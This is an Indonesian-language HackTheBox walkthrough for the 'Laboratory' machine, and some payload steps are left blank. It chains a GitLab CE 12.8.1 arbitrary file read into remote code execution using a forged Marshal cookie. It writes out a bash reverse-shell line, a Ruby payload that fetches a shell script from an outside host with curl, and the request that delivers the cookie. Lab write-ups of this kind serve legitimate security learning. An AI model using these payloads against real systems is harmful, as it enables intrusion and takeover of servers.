Gitlab Laboratory
Author : anonputraid

Berikut Adalah Informasi Mengenai Cara Menyelesaikan Box Meshine Laboratory Pada Hackthebox , Tujuan Catatan Informasi Seperti Ini Agar Bisa Terus Mengingat Dan Mengulang Apa Yang Telah Dipelajari Sebelum Nya!
FootHOLD
Port Scan
nmap -sV -sC -sT 10.10.10.216 -oN nmap.scan
Output :
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Did not follow redirect to https://laboratory.htb/
Scan Nmap Menunjukan Port 80 Terbuka , Dan Kita Mendapatkan Domain Laboratory.htb
Scan Website
Anda Tidak Akan Menemukan Hal Menarik Apapun Pada Website Laboratory.htb
, Lalu Baca Lebih Teliti DIsana Kita Menemukan Bahwa Mereka Menggunakan Git, Anda Akan Menemukan Domain git.laboratory.htb
Mari pindah ke sub domain
Lakukan Hal Berikut :
Disana Anda Bisa Membuat Account , Mari kita coba membuat Akun Anda Dan Untuk Bagian Email Mereka Menggunakan Domain
<youname>@
Laboratory.htb
Jika Sudah Berhasil Login Kunjungi Halaman Berikut : https://git.laboratory.htb/help Anda Akan Mendapat Kan Versi Git Yang Mereka Gunakan : GitLab Community Edition 12.8.1
Coba Anda Search Referensi Mengenai Kerentanan Gitlab Comunity Edition 12.8.1
Anda Akan Mendapat Kan Bahwa Versi Tersebut Memiliki Kerentanan File arbitrer Yang Bisa dibaca melalui UploadsRewriter saat memindahkan dan mengeluarkan Referensi :
Langkah-langkah untuk Mengexploitasi Kerentanan Ini :
Buat Dua Project Di Domain git.laboratory.htb
Jika Sudah Lalu Klick Bagian Issue Project Dan Tambahkan masalah dengan deskripsi berikut:

Dipojok kiri Setelah Anda Menyimpan Issue Tersebut Ada Tombol Move , Lalu Pindahkan Issue ke Project kedua
File Tersebut Akan Berubah Menjadi File Passwd
Dampak Yang AKan Terjadi Adalah Memungkinkan penyerang membaca file sewenang-wenang di server, termasuk token, data pribadi, konfigurasi, dll
Ini memungkinkan untuk mengubahnya menjadi RCE karena ini dapat dilakukan Dengan mengambil secret_key_base
from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
menggunakan file arbitrary read dan kemudian menggunakan experimentation_subject_id
cookie dengan muatan Marshalled.
Lakukan Hal Berikut :

Setelah Itu Untuk Melakukan Serangan RCE Kita Harus Menginstal Gitlab Secara Lokal:
Berikut Langkah-Langkah Untuk Menginstal Gitlab :
Lalu Lakukan Perintah Berikut
sudo
dpkg -i gitlab-ce_12.8.10-ce.0_amd64.deb
Lakukan
sudo gitlab-ctl reconfigure
Lakukan
sudo nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
Ubah Bagian secret_key_base , Menjadi Secret_key_base Yang Kalian Dapatkan Di Domain git.laboratory.htb
Run:
sudo gitlab-rails console
Kita Harus Menghasilkan Cookie Dengan Payload :
Buat lah File
shell.sh
Didalam Nya Format:bash -i >& /dev/tcp//1337 0>&1
Lalu Setelah Itu Lakukan Ini :
sudo python3 -m http.server 8000
Berikut Adalah Payload Gitlab :
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl 10.10.14.8:8000/shell.sh -o /tmp/shell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Lalu Salin Bagian Payload Cookie Dan Tambahkan DIbagian Berikut :
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=<cookie>" -k
Last updated
Was this helpful?